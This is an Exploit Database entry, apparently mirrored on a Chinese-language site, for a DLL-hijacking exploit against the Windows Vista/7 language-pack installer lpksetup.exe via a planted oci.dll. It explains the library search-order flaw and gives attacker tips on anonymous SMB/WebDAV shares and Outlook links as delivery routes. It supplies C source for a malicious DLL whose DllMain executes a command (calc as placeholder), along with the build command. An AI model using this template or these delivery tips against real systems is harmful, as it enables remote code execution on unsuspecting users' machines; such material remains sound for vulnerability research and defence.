Microsoft Windows Vista – ‘lpksetup.exe oci.dll’ DLL Loading Arbitrary Code Execution

• Exploit Database
• 37 阅读

• 作者： Tyler Borland
  日期： 2010-10-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/34931/

• // source: https://www.securityfocus.com/bid/44414/info
  
  Microsoft Windows 'lpksetup.exe' is prone to a vulnerability that lets attackers execute arbitrary code.
  
  An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. 
  
  /*
  Exploit: Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking
  Vulnerability
  Extension:.mlc
  Author: Tyler Borland (tborland1@gmail.com)
  Date:10/20/2010
  Tested on:Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and
  Windows 7 Enterprise should be vulnerable as well)
  Effect:Remote Code Execution
  
  lpksetup is the language pack installer that is included by default with
  Windows Vista/7 Ultimate or Enterprise editions.By opening a .mlc file
  through something like an open SMB or WebDav share, the oci.dll file will be
  grabbed and ran in the context of the vulnerable application.
  
  This is a LoadLibrary() load path bug.The load library search order is:
   1. The directory from which the application loaded
   2. 32-bit System directory (Windows\System32)
   3. 16-bit System directory (Windows\System)
   4. Windows directory (Windows)
   5. Current working directory
   6. Directories in the PATH environment variable
  As OracleOciLib is not used on target system, oci.dll does not exist, so if
  a full path is not supplied when calling the dll or the search path has not
  been cleared before the call, we will hit our fifth search path and load the
  library from the remote filesystem.
  
  Interestingly enough, while lpksetup is blocked for execution by UAC under a
  normal user, the injected library (payload) will still execute.
  Exploiters make sure your system's security policy, secpol.msc, allows
  complete anonymous share access for connecting users.
  Outlook links seem to be the current exploit toyland, other vectors:
  http://www.binaryplanting.com/attackVectors.htm
  */
  
  #include <windows.h>
  
  int main()
  {
  WinExec("calc", SW_NORMAL);// the typical non-lethal PoC
  exit(0);
  return 0;
  }
  
  BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
  {
  main();
  return 0;
  }
  
  /* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */